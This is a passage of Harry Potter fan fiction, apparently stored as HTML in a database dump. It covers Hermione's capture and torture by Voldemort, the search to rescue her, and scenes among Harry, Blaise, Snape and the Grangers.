lecture. I know you were thinking the same thing.&quot; Avery&#8217;s smile made my body shiver and stomach turn. </p>\n\n<p>	&quot;Yes, but I know when to work and when to play. Right now she goes to the Dark Lord, later she&#8217;ll come to us.&quot; More laughter filled the room, and I was the only one who felt like crying. Yet as helpless as I felt, I still had hope that I would be saved.	</p>\n\n<p>	After being dragged for several minutes, I found myself shoved into an empty room. The fire was burning leaving shadows to flicker back and forth. I was spread across the wooden floor inches away from a green velvet throne.</p>\n\n<p>	&quot;I always enjoyed the idea of mudbloods groveling at my feet.&quot; The voice that haunted every magical being was speaking directly at me. &quot;I must say, you are an interesting girl. Not many people could stun two of my followers.&quot; <i>What is that hissing noise?</i> &quot;In fact not many people could even think in my presence.&quot; I felt scales brush along my side bringing me closer to his voice. &quot;Come, let me get a good look at you.&quot;</p>\n\n<p>	Red emitting eyes were glowing so much power at me that it was frightening. Though in his physical state was rather sickly with his pale olive skin, he still had a dark luring aura. But he was still human. If Harry could defeat him, I can stand against him as well. <i>I need to be strong. I will be strong</i>. His bony finger lifted my weary head, while pulling me towards his knees.</p>\n\n<p>	&quot;I see you do not fear me&#8230;yet. How amusing that Potter had effected you so.&quot;</p>\n\n<p>	&quot;You&#8217;re nothing but a pompous greedy man.&quot; I tried to shrug away from his grip. &quot;Let go of me!&quot; I some how willed myself, causing me to fall hard onto the floor. </p>\n\n<p>	&quot;Interesting&#8230;you have a high degree of brain power and will.&quot; His smile was very unnerving. &quot;I had different plans for you but I have decided to change them.&quot; He started pacing around me. &quot;You will be please to know, that I will not kill you.&quot; His slow steps where distracting my concentration. <i>Will you please stop?</i></p><i>\n\n</i><p>	&quot;Shall I jump for joy?&quot; I muttered more to myself with sarcasm. But he crouched down hearing my comment about him. <i>What is he doing?</i>\n\n</p>\n\n<p>	&quot;You should, for I could do things even worst than death.&quot; He paused with an evil grin. &quot;Or I could give you to my servants.&quot; The image of Avery appeared in my head. <i>No I don&#8217;t want that</i>. I unconsciously shivered, allowing him the privilege to see me vulnerable. &quot;Yes, I&#8217;m quite proud of their abilities. They have served me well.&quot; He grinned in pride.</p>\n\n<p>	&quot;Killing innocent defensiveness people, is a great way to win their hearts.&quot; His hand trailed down my cheek. <i>Stop it please!</i></p><i>\n\n</i><p>&quot;I must say my Death Eaters underestimated you.&quot;</p>\n\n<p>	&quot;And you&#8217;re over estimated.&quot; <i>Please just go away. I don&#8217;t want to be near you at all.</i></p><i>\n\n</i><p>	&quot;I&#8217;m sensing fear.&quot; He chuckled. &quot;Good.&quot; His hand coiled around my neck. <i>Just go away. Harry&#8230;please take me away.</i></p><i>\n\n</i><p>	&quot;I&#8217;m&#8230;not afraid.&quot; I stuttered feeling his cold hands, causing goose pumps up and down my body.</p>\n\n<p>	&quot;I&#8217;m glad you said that.&quot; Instantly his wand was pointed at me with the word Crucio at his lips. I withered in pain, uncontrollable moving in every direction. I screamed with hot tears running down my face. The worst part was his freezing hands. He just wouldn&#8217;t let go of me. </p>\n\n<p>	&quot;Please,&quot; I cried out in agonizing pain. &quot;Stop,&quot; I saw a fuzzy appearance of a pleased grin. <i>Help!</i>\n\n<i>Please make it stop! Harry&#8230;please&#8230;where are you?</i></p><i>\n\n</i><p>	&quot;One more thing, before we end this training session.&quot; The buzzing in my ears blocked the sound of his voice. But then it stopped. The burning inferno and shards of stabbing ice stopped. I opened my eyes dizzy but slowly regained my breath. &quot;From now on, you will listen only to me. Wherever I go, you follow. You will not fight, curse, or hate me. I am your master. Do you understand?&quot;</p>\n\n<p>	<i>Yes, I understand. Then why does a part of you feel like its not right. Maybe because it isn&#8217;t? But you were told to do it. Yes, I was. Wait its Voldemort you told you to do it.</i></p><i>\n\n</i><p>	&quot;I said, do you understand?&quot; Suddenly all I heard was his voice, and his memorizing red eyes.</p>\n\n<p>	&quot;Yes, master.&quot; He smiled at my obedience.</p>\n\n<p></p>\n\n<p>	(A week later, Harry&#8217;s POV)</p>\n\n<p>	<i>Torture, this was pure bitter torture. I wonder how you are? Are you sick? Are you hurt? Why couldn&#8217;t they take me? Will I ever see you again? Oh Nene, I need you here with me</i>.</p>\n\n<p>	&quot;We&#8217;ll find her Harry.&quot; Sirius calmly spoke, breaking my grieving silence. &quot;And she&#8217;ll be in your arm&#8217;s safe and sound.&quot; He locked the doors so no one would intrude on us in the empty Tower. I lazily glazed back into the bleak horizon. It was still dark out, but hints of light were raising into the earth. It was mysteriously beautiful. She would have loved to see this. I sighed seeing her image in my head&#8230;again.</p>\n\n<p>	&quot;I miss her not being here. I miss her laughing besides me. I miss her scent of dry ink and pumpkin cinnamon. I miss when her simple touches smoothes all my worries away.&quot; I paused watching the sun slowly rise above the distant forest. &quot;I miss her so much, its hurts when I don&#8217;t think of her.&quot; I felt him besides me with a far away grin.</p>\n\n<p>	&quot;She&#8217;ll be back Harry.&quot; He placed his arm on my shoulder. &quot;We&#8217;re going to find her and the first thing you will do is kiss her senseless.&quot;</p>\n\n<p>	&quot;Or cry for her forgiveness.&quot; I shrugged away from his sensitive touch. &quot;This was why I didn&#8217;t want to be so public about us. I knew they would try something. I should have never went there in the first place.&quot;</p>\n\n<p>	&quot;And ignoring your heart for eternity is always the right choice.&quot;</p>\n\n<p>	&quot;I&#8217;m serious.&quot; I glared at his horrible timing for humor.</p>\n\n<p>	&quot;So am I. It&#8217;s not your fault Harry.&quot; He turned towards the window with a distant gleam. &quot;You love her Harry. Even if you didn&#8217;t visit her this summer, you would still love her. Even without the hugs or smiles, you would still have that lovesick grin. Even without any of the dangers or never ending doom, you would still love her. Because she is love. She is so utterly and amazingly what you need and want.&quot; He moved to lean against the windowsill. &quot;She loves you Harry. She loves you for everything you are and everything you will become. I realized long ago, that I couldn&#8217;t promise you safety. But I would be tossed into Azkaban ten times over, if I didn&#8217;t point that out to you. I want you to be happy Harry. That&#8217;s all I really want for you.&quot; I felt tears slowly slide down my face.</p>\n\n<p>	&quot;She makes me happy.&quot; I said in a weak voice, muffled by Sirius&#8217; tight embrace.</p>\n\n<p>	&quot;I know son. We&#8217;ll get her back.&quot; Gratefully I pulled him closer, feeling a sudden rush of comfort.</p>\n\n<p>	&quot;Thanks Sirius, you gave me hope again.&quot; I sniffled breaking away from him.</p>\n\n<p>	&quot;That&#8217;s Hermione&#8217;s job. I just reminded you of what you have.&quot; His hands patted my back. &quot;It&#8217;s getting late. You have class soon and I need to see Remus.&quot; </p>\n\n<p>	&quot;How is he?&quot; </p>\n\n<p>	&quot;Better, he&#8217;s in the library finding anything that will help Bella when she meets them.&quot;</p>\n\n<p>	&quot;I&#8217;m glad to hear that. I thought he would be mad forever.&quot;</p>\n\n<p>	&quot;He&#8217;s not over it, but he understands.&quot; Sirius stated in a brisk manner.</p>\n\n<p>	&quot;If its any consolation, I understand how he feels.&quot; I turned the unlock door.</p>\n\n<p>	&quot;I know you do son. Now off to class before you&#8217;re late.&quot; He smiled oddly at me. &quot;Harry.&quot;</p>\n\n<p>	&quot;Yes,&quot; I paused at the doorframe.</p>\n\n<p>	&quot;I&#8217;m proud of you.&quot; He thought for a moment. &quot;They would be proud as well.&quot;</p>\n\n<p>	&quot;Thanks Sirius. Even if they&#8217;re not here, I&#8217;m happy that you are.&quot; Then I left, not knowing what else to say. The past week have been anything but pleasant. Between everyone&#8217;s horrible depression and fear, the tension was unbearable. The worst part was the letter I sent to the Granger&#8217;s who had not written back. I wonder if they&#8217;re okay? I hope I hear from them soon. Oh Nene, where are you? If you were here, everything would be all right. I could save the world with you by my side. How do I do it now, when I can&#8217;t even find you? Blinking away silent tears, I slowed my pace to class. Transfiguration isn&#8217;t for another 15 minutes. I still have time.</p>\n\n<p>	&quot;Harry,&quot; I stopped aware of Ron&#8217;s voice behind me.</p>\n\n<p>	&quot;Hey,&quot; his eyes were red, showing signs of sleepless nights.</p>\n\n<p>	&quot;Hey,&quot; he replied quietly. With a quick swing, his right arm was around my shoulder, while he held a muffin in front of me. Wordlessly I smiled taking the pastry with Ron supporting me along the way.</p>\n\n<p>	&quot;Why it&#8217;s the golden trio. Opps, I mean the golden duo. I wonder where the third brat is?&quot; Malfoy called out in the hallway.</p>\n\n<p>	&quot;Call her a brat again, and I&#8217;ll personally make sure you disappear.&quot; Ron shouted back with his fists ready and willing.</p>\n\n<p>	&quot;A little sensitive aren&#8217;t we Weasel. If I didn&#8217;t know better, I would think you were dating her.&quot; His goons quickly stood by his side.</p>\n\n<p>	&quot;Leave Malfoy, I&#8217;m not in the mood.&quot; I grabbed Ron&#8217;s arm turning to leave.</p>\n\n<p>	&quot;Oh poor Potter! He feels lost without his bossy chipmunk.&quot; A small crowd started to form around us. &quot;You shouldn&#8217;t waste your time thinking about her, I&#8217;m sure they disposed of her as quick as they can. Or maybe she realized how unimportant she was to everyone.&quot;</p>\n\n<p>	Whack! </p>\n\n<p>I hit Malfoy&#8217;s nose with all the pent up frustration I had. Instantly his dimwits grabbed and tossed me to the floor. Ron used his book, hitting Goyle from behind. With a thud, he fell to the ground. This left only Crabbe and me to wrestle gripping with all my might. I heard Ron shouting at Malfoy with kicks and punches. </p>\n\n<p>Whack&#8230;Bam&#8230;Wham</p>\n\n<p>&quot;What is going on here! Mr. Weasley let go of Mr. Malfoy this instant. Mr. Crabbe and Mr. Potter you better stop before I freeze you both!&quot; Professor McGonagall bellowed towards us with a ferrous cry. The hall was silent with only the sounds of her echo. &quot;Ms. Brown go to the infirmary and fetch Madame Pomfrey.&quot; She turned at the crowd. &quot;I suggest you all get to your class before I decide to give you all detentions.&quot; They shot us sympathetic looks before scattering in every direction.</p>\n\n<p>&quot;Professor they&#8230;&quot;</p>\n\n<p>&quot;Mr. Malfoy, I would remain quiet if you know what is good for you.&quot; Her glare did not resemble anything near mercy. &quot;I have never been more ashamed of my students for all my years of teaching. To think that fifth year students would actually behave so irrational is beyond my imagination. What is even better is that one of you is a prefect.&quot; She paused allowing me a chance to speak.</p>\n\n<p>&quot;But Professor,&quot; I spoke wiping the blood off my lips.</p>\n\n<p>&quot;I do not want to hear it.&quot; She sighed noticing Madame Pomfrey arriving. &quot;Madam would you please take Mr. Goyle, Crabbe, and Malfoy to the infirmary. I will be there shortly.&quot; With a simple nod and flick of her wrists, three stretchers appeared before us. Soon they felt following the mumbling nurse, about student behaviors. &quot;Mr. Weasley and Mr. Potter I want you to go to the Headmaster&#8217;s office immediately. And be certain, that you will be discussing your actions with me later.&quot; Then with a hard shove, she left us to walk to the familiar office.</p>\n\n<p>&quot;Ron are you all right?&quot; I asked seeing him squint out of his new black eye.</p>\n\n<p>&quot;Never better,&quot; he grinned with satisfaction. &quot;I don&#8217;t care if I get detention or 100 points deducted. It felt great to hit Malfoy in the face.&quot; And for the first time in a week, I truly smiled.</p>\n\n<p>&quot;Thanks for the help.&quot;</p>\n\n<p>&quot;Anytime mate.&quot; </p>\n\n<p>We reached the gargoyles and anxiously neared the familiar wooden doors. Before I knocked, Ron quickly fixed his shirt<i>. Its hard looking neat, when your shirt is torn with blood stains on it.</i> With a deep breath, we entered into the room.</p>\n\n<p>&quot;Harry, Ron someone is here&#8230;&quot;He paused at our appearance. &quot;Well I can see you were sent here for another reason.&quot; His usual bright eyes twinkled with awareness.</p>\n\n<p>&quot;We got in a fight with Malfoy and his friends.&quot; I said plainly. &quot;They went to the infirmary with Professor McGonagall. She then sent us to you sir.&quot;</p>\n\n<p>&quot;But he started it sir,&quot; Ron interrupted. &quot;He was making fun of Hermione.&quot;</p>\n\n<p>&quot;We shall deal with that matter later.&quot; He waved his hands towards the couple I hadn&#8217;t seen earlier. &quot;We have visitors who I assumed you two would like to see.&quot; <i>What are they doing here?</i> &quot;Mr. and Mrs. Granger, I believe you know Harry.&quot; My eyes widen in shock. &quot;And this is Ron Weasley.&quot; </p>\n\n<p>&quot;Hello Harry, Ron, its good to see you both. Though Belle and I would have like it in better circumstances.&quot; Doug said looking tired and worn out.</p>\n\n<p>&quot;What are you doing here? I mean I wrote about a week ago. I didn&#8217;t receive anything from you.&quot; I moved closer to them.</p>\n\n<p>&quot;We were informed by someone else.&quot; Belle adjusted her sleeping child.</p>\n\n<p>&quot;Who?&quot; Ron and I asked together.</p>\n\n<p>&quot;I think you will find this information very interesting.&quot; Professor Dumbledore handed us a letter. Eagerly we both read the words written on the single page. As we let the meaning sink in, I couldn&#8217;t help but feel lightheaded. <i>Oh Nene, we&#8217;re coming for you. And I will definitely have you in my arms again.</i></p></font>\n\n '),
	(239, 20, ' <font size="2"><p>Disclaimer: Not mine.</p>\n\n<p></p>\n\n</font><p><font size="2">	</font><font size="3">Hello! I&#8217;m sorry this took forever for me to get out. My life literally went upside down these past few months. Luckily things are getting better, so I can write my stories. Special thanks to Summer and Malu for beta reading. Would be lost without great betas like you. I hope you like this chapter. I apologies if there isn&#8217;t much action. But I promise you get pages of them next one. After I&#8217;m done with TMOU I might work on my other stories, like <b>Unexpected</b>. Please read if you haven&#8217;t read it yet. </font></p><font size="3">\n\n<p>	Anyway I hope you enjoy and I anxiously await your reviews and comments. Enjoy!</p>\n\n</font><font size="2">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n</font><b><p>The Middle of Understanding</p>\n\n</b><p></p>\n\n<p>Chapter 19</p>\n\n<p></p>\n\n<b><u><p>Rescue Ahead</p>\n\n</u></b><font size="3"><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n</font><p><font size="3">	</font>&quot;Everything is ready, Master.&quot; I watched as my master&#8217;s servant bowed obediently down. &quot;I have sent the portkey.&quot;</p>\n\n<p>	&quot;Do not fail me, or there will be punishment.&quot; His Lordship spoke with power, pulling his hand away from my hair. &quot;Soon we shall see my dear cousin and your Harry Potter.&quot; His fingers lingered near my neck. </p>\n\n<p>	&quot;Harry Potter sir?&quot; Wormtail shivered in fear.</p>\n\n<p>	&quot;Of course,&quot; Master smirked, leaving the crowd. &quot;Come girl, there is much to do.&quot; Faithfully I followed him down the corridor.</p>\n\n<font size="3">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>	Flashback</p>\n\n<p></p>\n\n</font><p><font size="3">	</font><font face="Bookman Old Style" size="3">The library was quiet, with only a few older students working diligently at their tables. Passively, the eleven-year-old girl weaved through, looking for her favorite spot. When she reached the seclude area, she found a figure shivering on the floor. The girl seemed completely unaware of the person behind her.</font></p><font face="Bookman Old Style" size="3">\n\n<p>	&quot;Are you all right?&quot; She was surprised to hear so much concern in her voice. Startled by the noise, the bushy hair girl looked up with tearful eyes.</p>\n\n<p>	&quot;I\'m...fine. I\'m sorry. I\'ll move out of your way.&quot; The sad girl leaned away from the heavy bookcase.</p>\n\n<p>	&quot;You&#8217;re not in my way.&quot; She lifted a clean green handkerchief, &quot;here.&quot;</p>\n\n<p>	&quot;Thanks,&quot; the girl smiled, revealing large front teeth. Shifting her eyes, the sad girl saw the familiar title on the book spine. &quot;Hogwarts A: History.&quot;</p>\n\n<p>	&quot;Yes,&quot; she twirled her long blonde hair. &quot;It&#8217;s my favorite book.&quot; </p>\n\n<p>	&quot;Me too!&quot; Pausing to brush aside her frizzy hair, &quot;Hermione Granger.&quot;</p>\n\n<p>	&quot;Blaise Zabini,&quot; A genuine smiled spread across her face. &quot;Have you read about the apparation wards placed on Hogwarts?&quot; </p>\n\n<p>	&quot;Yes, I just finished it. I\'m starting the chapter when Professor Dumbledore starts as headmaster.&quot; Soon the two young minds drifted off into a comfortable discussion of nothing and everything in between. As the hours passed by, neither noticed the man cheerfully observing them. Finally clearing his throat, his soft-spoken voice interrupted their conversation.</p>\n\n<p>	&quot;Good evening ladies,&quot; the Headmaster\'s eyes seem to twinkle in mirth. &quot;It\'s approaching your curfew. I believe you should return to your Common Rooms, before it&#8217;s to late.&quot;</p>\n\n<p>	&quot;Yes Professor,&quot; Hermione blushed absolutely forgetting the time.</p>\n\n<p>	&quot;Good night sir,&quot; Blaise grabbed the other girl\'s hand, sprinting off towards the door. Adrenaline rushed through their heads, quicken their pace down the corridors. Finally reaching the fork between Gryffindor and Slytherin, they stopped to catch their breaths. Still panting with exhaustion, Blaise spoke unevenly.</p>\n\n<p>	&quot;Not bad Hermione,&quot; she drawled purposely. &quot;Usually people can not keep up with me.&quot;	</p>\n\n<p>	&quot;What happened to Granger?&quot; Hermione teased, raising her eyebrow.</p>\n\n<p>&quot;I don\'t know.&quot; Blaise honestly answered. &quot;You\'re a good person Hermione Granger.&quot;</p>\n\n<p>	&quot;Thank you Blaise Zabini, you\'re a good friend.&quot;</p>\n\n<p>	&quot;Am I your friend?&quot; Doubt evident in her voice.</p>\n\n<p>	&quot;I hope so, unless me being a Gryffindor bothers you.&quot; </p>\n\n<p>	&quot;As long as I don\'t have to giggle and braid your hair.&quot; Hermione grinned at the comment and thrusted her hand forward. </p>\n\n<p>	&quot;Friends?&quot; Taking her hand, Blaise squeezed tightly.</p>\n\n<p>	&quot;Friends.&quot;</p>\n\n</font><font size="3"><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n</font><p>(Present time Blaise POV)</p>\n\n<p>	&quot;Ms. Zabini,&quot; I heard the familiar command behind me. Turning away from the waking Giant Squid, I greeted my Head of House. </p>\n\n<p>&quot;Professor,&quot; I kept my tone indifferently. <i>No need for him to feel sorry for me. I\'ve spent 5 years in the shadows; hopefully I can keep it that way. </i></p><i>\n\n</i><p>	&quot;Ms. Zabini, I will be blunt with the matter I wish to discuss with you. As your Head of House, I presumed if you dealt with any problems, you could confide with me.&quot; He stated, towering over me and continued in his vex manner. &quot;I have reports from Madam Pomfrey of injuries you have suffered these last five years. And I gathered information from a 3rd year, who described your living status.&quot; </p>\n\n<p>	Folding my arms over my chest, I inched away from his imperious posture. &quot;That sir, is my own private matter.&quot; I said in my most brash voice.</p>\n\n<p>	&quot;Child, you are under my care. I will not have you used or abused.&quot; </p>\n\n<p>	&quot;You should know where my place is in the Slytherin house.&quot; I downcast my gaze away from his intense stare.</p>\n\n<p>	&quot;I wouldn\'t care if you were Hagrid\'s spawn. It\'s my responsibility to keep you safe.&quot; He tightly grabbed my arms, commanding me to look at him. &quot;You can trust me.&quot; That awful sneer was gone, replaced with a face so honest, it twisted my heart aside.</p>\n\n<p>	&quot;I...I don\'t know how.&quot; I felt my guard slowly falling.</p>\n\n<p>	&quot;You trust Ms.Granger,&quot; the resentment was clearly heard.</p>\n\n<p>	&quot;We have each other. We\'re equals.&quot;</p>\n\n<p>	&quot;Not everything in life is give and receive. Contrary to Slytherin beliefs, we can do things without a motive.&quot; Professor Snape tucked my loose hair behind my ear. &quot;Just trust me. I will not hurt you.&quot; Somehow those simple words broke the barrier I had for so long.</p>\n\n<p>	&quot;Promise,&quot; the tears streamed out my eyes, making my voice but a whisper.</p>\n\n<p>	&quot;I promise Blaise.&quot; Suddenly I felt his arms around me, allowing me support from the rough ground. My knees wobbled, while my teeth rattled. It seemed like years of pain flooded into the poor man\'s embrace. His comforting warmth smoothed my hiccups, which I hadn\'t even noticed. Instantly I rubbed my head against his chest, remembering a time when I did the same with my mother. She was the world to me. <i>Merlin, I missed her every single second</i>. </p>\n\n<p>	Having that racking twitch whenever I thought of my mother, I pulled away from Professor Snape\'s grasp. Using my sleeves, I tried wiping the evidence of my sorrow. Knowingly, he generously handed me a black handkerchief. <i>Is everything he owns black?</i> I couldn\'t help my chuckle at the idea. Curiously, he cocked his eyebrow in question.</p>\n\n<p>	&quot;What is so amusing?&quot; That nasty snarl returned.</p>\n\n<p>	&quot;Nothing sir.&quot;</p>\n\n<p>	&quot;Professor! Professor!&quot; We both turned, hearing the urgent calls from the running 1st year. </p>\n\n<p>	&quot;What is it Mr. Richards?&quot; Professor Snape impatiently said.</p>\n\n<p>	&quot;The headmaster wanted to see you right away sir.&quot; He huffed repeatingly, &quot;And Blaise too.&quot; His wondering eyes asked what I did wrong. Ignoring his curiosity and the rumors that this would definitely start, I followed Professor Snape towards the castle.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>&quot;Severus, Ms. Zabini, come in,&quot; Professor Dumbledore gesture for us to close the door. &quot;Charlie has just sent for Moody and the others. We have gathered very positive information.&quot;</p>\n\n<p>	&quot;About what?&quot; Professor Snape asked, ignoring the figures beside him. Potter and Weasley appeared weary, but their eyes were brightening with hope. I observed closer towards the two adults&#8217; exhausted complexions, realizing they were Hermione&#8217;s parents. I felt something in my heart clench with unrelenting pain.</p>\n\n<p>	Growing up, I had dreams of my father being in love with my mother. I would create this fantasy that they had this grand enchanting affair. That it was the effects of some disasters that separated them, which left me so alone in this world. Yet like all dreams, they are just wild imaginations we indulge our self&#8217;s in. My father was never in love with my mother. And they separated because it was a doomed relationship to begin with. </p>\n\n<p>	But I did spend the best seven years of my life being Blaise Tong. I was just a plain muggle with my happy mother. We had tea parties and nightly story time. Though sometimes I would do indescribable things, she still loved me. When kids picked on me, she embraced me. When I made my dolls dance, she&#8217;d twirled me around as well. When I cried during her favorite movie, she laughed because I understood how she felt. She loved me for every thing I was. She loved me because I was her daughter. </p>\n\n<p>	Then she left me, to them. She let that evil disease take over and control her fate. She died too quickly. She cried too quietly. She loved me no more. I was alone. I was abandoned. My destiny was sealed to a Father who knew nothing of my life and where no one would appreciate me. I grew up bitter. Not towards my father. Not towards my revolting stepfamily. Not even the society I had to associate with. No, I was bitter towards her. She promised me the world, while knowing full well she could give me nothing. She taught me to love, with no one else to fill it when she was gone. </p>\n\n<p>	Why do Hermione&#8217;s parents evoke so much repressed memory? Why did these emotions so well hidden, come rushing back? What about this moment started such intensity? Simple because of their faces. </p>\n\n<p>	Their eyes were hollow, not from sleepless nights, but underline despair of what may have happened to their child. They clung to their unaware baby, praying the same fate would not fall upon him. They were struggling. They were fighting with the world and its unknown destiny. They were parents who were not ready to lose their little girl. And maybe just maybe, my mom was never ready to let me go either. But I just wasn&#8217;t as lucky as Hermione was. Glossy eyed, I watched her younger brother open his small mouth, yawning. It was the sweetest thing I had ever seen. </p>\n\n<p>	Kneeling before them, I spoke with all the conviction I could muster. &quot;I promise we&#8217;ll get her back. </p>\n\n<p>	Bewildered by my sudden actions, the current conversation behind me, paused with interest. Taking my hand, Ms. Granger kissed it slowly, reminding me of my mother&#8217;s warm touches. Then she reached out, smoothing my hair, and answered in a soft voice. &quot;I know you will.&quot;</p>\n\n<p>	As Professor Snape was about to approach my position, he lunged forward in pain. Grabbing his left arm, his eyes locked with the Headmaster. </p>\n\n<p>	&quot;Its time.&quot; He managed to choke out between agonizing grunts.</p>\n\n<p>	&quot;But we haven&#8217;t made plans yet,&quot; Weasley shouted in fear. I quickly supported Professor Snape to the closest chair. Seconds later, Mr. Lupin came rushing in to the office. </p>\n\n<p>	&quot;They sent Bella a portkey!&quot; Feeling my head buzz, I grabbed a bundle of the Professor&#8217;s robe.</p>\n\n<p>	&quot;I must go. He is calling me.&quot; His dark eyes seem to blank in pain.</p>\n\n<p>	&quot;You have no clue what we will do.&quot; Weasley stressed, while Potter&#8217;s gazed burned into Professor Snape&#8217;s.</p>\n\n<p>	&quot;Its better I don&#8217;t.&quot; He turned towards the headmaster. &quot;Good bye sir,&quot; his fingers gripped mine, pulling them away. &quot;Be strong girl,&quot; he spoke barely audible but for my ears alone.</p>\n\n<p>	Looking like a man who has lived a century, the wise old man ordered fatherly. &quot;You come back son. No matter what, you come back home.&quot; Nodding at the man&#8217;s command, Professor Snape bravely walked towards his unknown journey. But was stopped as Potter stood unemotionally before him.</p>\n\n<p>	&quot;You still owe me a lesson sir, even if it&#8217;s remedial potions.&quot;</p>\n\n<p>	&quot;Potter, I know you don&#8217;t not care for my lessons.&quot;</p>\n\n<p>	&quot;No, but you keep you&#8217;re word. So be prepared to do it.&quot; Puzzled at their conversation, I watched as their faces contorted into an unknown expression. If I were to describe it, it would seem to be called final understanding, it&#8217;s a conclusion that not all things are what they appear to be. That maybe we did have to look deeper to have a better understanding, instead of jumping to conclusions between it all.</p>\n\n<p>	&quot;Watch out Potter, you will be regretting those words.&quot;</p>\n\n<p>	&quot;I&#8217;m sure I will.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>(Harry POV)</p>\n\n<b><p>Crack Crack</p>\n\n</b>\n\n<p></p>\n\n<p>	&quot;Ron, I really don&#8217;t want to talk right now.&quot;</p>\n\n<p>	&quot;Good, I don&#8217;t either,&quot; I whipped around after hearing Mr. Granger&#8217;s voice.</p>\n\n<p>	&quot;Sir&#8230;um&#8230;I should go.&quot; Grabbing my robe from the ground, I tried to leave his sight. Bangs of guilt would hit whenever I looked at him. His usual jovial composure was haunted by his fear. I could see the wrinkles lined across his face with purple hues beneath his eyes. His dashing smile was gone. The best thing about him was his never-ending smile. Whether rain or shine, it was there because he was just that type of guy. But I took that away from him. I caused this grief that was soaring through all of us.</p>\n\n<p>	&quot;Harry,&quot; Doug called out with my back facing him. &quot;You don&#8217;t have to go. I would actually like some company.&quot; He gestured towards the flattened grass, stretching his legs out.</p>\n\n<p>	&quot;Are you sure?&quot; I looked everywhere but his face. </p>\n\n<p>	&quot;Yes,&quot; he answered softly. Reluctantly I sat beside him, quietly observing the world before us. It was late afternoon, causing the shadows to dance along the ground. Budding trees waved their branches, swinging with the breeze. Even the Forbidden Forest seemed tranquil in this pain-staking wait. The cruel world seemed to know we were searching for justice, so it calmed itself for us.</p>\n\n<p>&quot;It&#8217;s funny isn&#8217;t it?&quot; Doug suddenly spoke making me recoil from thought. &quot;I should be furious. Or maybe screaming at everyone I meet. Yet I&#8217;m not. Instead I feel every nerve in my body is numb. I say things without thought. I do things with no reason. My heart beats because it has too. I breathe because I need too. But it does nothing for me.&quot; The resign in his voice was like spurts of needles pricking me.</p>\n\n<p>	&quot;I&#8217;m sorry. If it wasn&#8217;t for me, she would be much safer.&quot; Turning his head, he really looked into my eyes for the first time since his arrival.</p>\n\n<p>	&quot;The reasonable side of me should say it isn&#8217;t. That none of this has anything to do with you. She would have been in the same predicament with or without you. But I don&#8217;t believe that.&quot; He broke the lanky twig he was holding. &quot;Hermione&#8217;s been in the limelight since the beginning. When you two started dating, it just made the choice easier between Ron or her.&quot;</p>\n\n<p>&quot;I know. I know.&quot; I murmured over and over again.</p>\n\n<p>	&quot;No you don&#8217;t know. She&#8217;s my daughter.&quot; The rage in his tone was clear. &quot;The first time I saw her, I knew she was an angel. Her giggles are forever imprinted in my heart. That amazing smile she gives whenever she learns new things can make brutes melt. How she would cuddle with me when thunderstorms roared in nights. Those</p>\n\n<p>Millions of facts she can spill about spells and potions makes me proud. I know nothing about your world, yet Hermione can weave it into a novel for me. So Harry you don&#8217;t know, how I feel. I&#8217;m suffering of the memory of each detail or mundane gesture she does. You have no idea about a father&#8217;s love.&quot;</p>\n\n<p>	&quot;But I do know what love is.&quot; I retorted. &quot;I love Hermione. She may be your daughter, but she&#8217;s my world. I can deal with you thinking it&#8217;s my fault. I can understand why you&#8217;re in pain. But please don&#8217;t doubt that I love her with my entire being.&quot;</p>\n\n<p>	&quot;You&#8217;re both to young Harry. My wife may think it&#8217;s a fairy tale romance, but I don&#8217;t. Many things will change between you two. I mean you haven&#8217;t even seen what&#8217;s outside of London. Once you meet other people, your emotions now will seem completely different.&quot;</p>\n\n<p>&quot;I don&#8217;t need too.&quot; I stood angrily. &quot;Yes, we are young. Yes, I have never been on a plane or travel on the Euro star. I probably will meet lots of other people who may make me feel several of emotions. But no one can ever replace Hermione. She is the only constant thing in my life and I will fight time if someone takes that away.&quot; I paused scanning the dark forest. &quot;I do agree with you sir. Our love isn&#8217;t some fairy tale fiction. We have our ups and downs. And sometimes we just drive other insane. But no matter the time or place, we will be in love. We love each other because we are love for one another. So if you like it or not Mr. Granger, I love your daughter. For now and until my last breath in time.&quot; When I stopped I realized I was shouting and creating echoes in the wind. Hearing my rapid heartbeat, I watched, as he was about to respond.</p>\n\n<p>	&quot;Harry!&quot; Doug closed his mouth at the interruption behind us. Squinting at the figures, I saw Ron and Mrs. Granger coming towards us. &quot;Professor Dumbledore said we should head in.&quot; Ron tugged his ear nervously.</p>\n\n<p>	&quot;Okay,&quot; I mumbled. &quot;Where is Dante, Belle?&quot;</p>\n\n<p>	&quot;Ginny is watching over him. She is very good with children.&quot; She said motherly.</p>\n\n<p>	&quot;She&#8217;s a Weasley.&quot; Ron shrugged knowingly. &quot;Mr. Granger my dad wants to speak with you. Want to have warning of what not to say?&quot;</p>\n\n<p>	&quot;Sure,&quot; Doug grinned gratefully. &quot;We can finish this later.&quot; He directed his attention at me. Nodding lightly, he left with Ron rapidly talking beside him.</p>\n\n<p>	Slowly I walked with Mrs. Granger, fully noticing the glances she was giving me. Finally tired of the tension, she looped her arm through mine, and leaned gently next to me. At first the contact made me jolt in uneasiness, but her uneven pats relaxed the stress I was carrying. Soon we reached the castle, while pausing for her to take a good look at the stone walls. </p>\n\n<p>&quot;It really is amazing. I see why Hermione or anyone would love it so much.&quot;</p>\n\n<p>	&quot;She makes it better.&quot; Belle brushed aside my hair. It felt exactly the same way, as Hermione would do. </p>\n\n<p>	&quot;We will have her back in both our worlds. And then you can tell her how much you love her.&quot;</p>\n\n<p>	&quot;Do you believe I love her?&quot; I couldn&#8217;t help but wonder if she doubted me.</p>\n\n<p>	&quot;Do you?&quot; She stared deep into my eyes, searching for the answer.	</p>\n\n<p>&quot;Yes,&quot; slowly giving a small smile, Belle kissed my forehead.</p>\n\n<p>&quot;Then you love her,&quot; I grinned for the first time that day.</p>\n\n<p>&quot;You&#8217;re a lot more understanding 